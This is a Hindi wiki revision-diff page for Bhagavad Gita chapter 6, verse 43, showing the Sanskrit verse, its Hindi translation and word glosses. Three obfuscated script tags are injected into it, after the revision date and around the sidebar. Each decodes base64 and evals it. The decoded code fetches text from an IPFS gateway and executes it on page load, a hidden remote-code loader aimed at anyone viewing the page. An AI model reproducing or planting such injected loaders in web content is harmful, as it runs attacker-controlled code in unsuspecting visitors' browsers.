"गीता 6:43" के अवतरणों में अंतर
आदित्य चौधरी (चर्चा | योगदान) छो (Text replace - '[[category' to '[[Category') |
छो (Text replace - '<td> {{महाभारत}} </td> </tr> <tr> <td> {{गीता2}} </td>' to '<td> {{गीता2}} </td> </tr> <tr> <td> {{महाभारत}} </td>') |
||
(२ सदस्यों द्वारा किये गये बीच के २ अवतरण नहीं दर्शाए गए) | |||
पंक्ति १३: | पंक्ति १३: | ||
<div align="center"> | <div align="center"> | ||
'''तत्र तं बुद्धिसंयोगं लभते पौर्वदेहकिम् ।'''<br /> | '''तत्र तं बुद्धिसंयोगं लभते पौर्वदेहकिम् ।'''<br /> | ||
− | '''यतते च ततो भूय: संसिद्धौ | + | '''यतते च ततो भूय: संसिद्धौ कुरुनन्दन ।।43।।''' |
</div> | </div> | ||
---- | ---- | ||
पंक्ति २३: | पंक्ति २३: | ||
| style="width:50%; font-size:120%;padding:10px;" valign="top"| | | style="width:50%; font-size:120%;padding:10px;" valign="top"| | ||
− | वहाँ उस पहले शरीर में संग्रह किये हुए बुद्धि संयोग को अर्थात् समबुद्धि रूप योग के संस्कारों को अनायास ही प्राप्त हो जाता है और हे <balloon title="पार्थ, भारत, धनंजय, पृथापुत्र, | + | वहाँ उस पहले शरीर में संग्रह किये हुए बुद्धि संयोग को अर्थात् समबुद्धि रूप योग के संस्कारों को अनायास ही प्राप्त हो जाता है और हे <balloon title="पार्थ, भारत, धनंजय, पृथापुत्र, कुरुनन्दन, परन्तप, गुडाकेश, निष्पाप, महाबाहो सभी अर्जुन के सम्बोधन है ।" style="color:green">कुरुनन्दन</balloon> ! उसके प्रभाव से वह फिर परमात्मा की प्राप्ति रूप सिद्धि के लिये पहले से भी बढ़कर प्रयत्न करता है ।।43।। |
| style="width:50%; font-size:120%;padding:10px;" valign="top"| | | style="width:50%; font-size:120%;padding:10px;" valign="top"| | ||
पंक्ति ३४: | पंक्ति ३४: | ||
|- | |- | ||
| style="width:100%;text-align:center; font-size:110%;padding:5px;" valign="top" | | | style="width:100%;text-align:center; font-size:110%;padding:5px;" valign="top" | | ||
− | तत्र = वहां ; तम् = उस ; बुद्धिसंयोगम् = बुद्धि के संयोग को अर्थात् समत्व बुद्धि योग के संस्कारों को (अनायास ही) ; लभते = प्राप्त हो जाता है ; च = और ; पौर्वदेहिकम् = पहिले शरीर में साधन किये हुए ; | + | तत्र = वहां ; तम् = उस ; बुद्धिसंयोगम् = बुद्धि के संयोग को अर्थात् समत्व बुद्धि योग के संस्कारों को (अनायास ही) ; लभते = प्राप्त हो जाता है ; च = और ; पौर्वदेहिकम् = पहिले शरीर में साधन किये हुए ; कुरुनन्दन = हे कुरुनन्दन ; तत: = उसके प्रभाव से ; भूय: = फिर (अच्छी प्रकार) ; संसिद्धौ = भगवत्प्राप्ति के निमित्त ; यतते = यत्न करता है ; |
|- | |- | ||
|} | |} | ||
पंक्ति ५४: | पंक्ति ५४: | ||
<td> | <td> | ||
{{गीता अध्याय}} | {{गीता अध्याय}} | ||
+ | </td> | ||
+ | </tr> | ||
+ | <tr> | ||
+ | <td> | ||
+ | {{गीता2}} | ||
+ | </td> | ||
+ | </tr> | ||
+ | <tr> | ||
+ | <td> | ||
+ | {{महाभारत}} | ||
</td> | </td> | ||
</tr> | </tr> |
१२:४५, २१ मार्च २०१० के समय का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
गीता अध्याय-6 श्लोक-43 / Gita Chapter-6 Verse-43
|
||||||||
|
||||||||
|
||||||||
<sidebar>
__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
</sidebar><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> |
||||||||
|
||||||||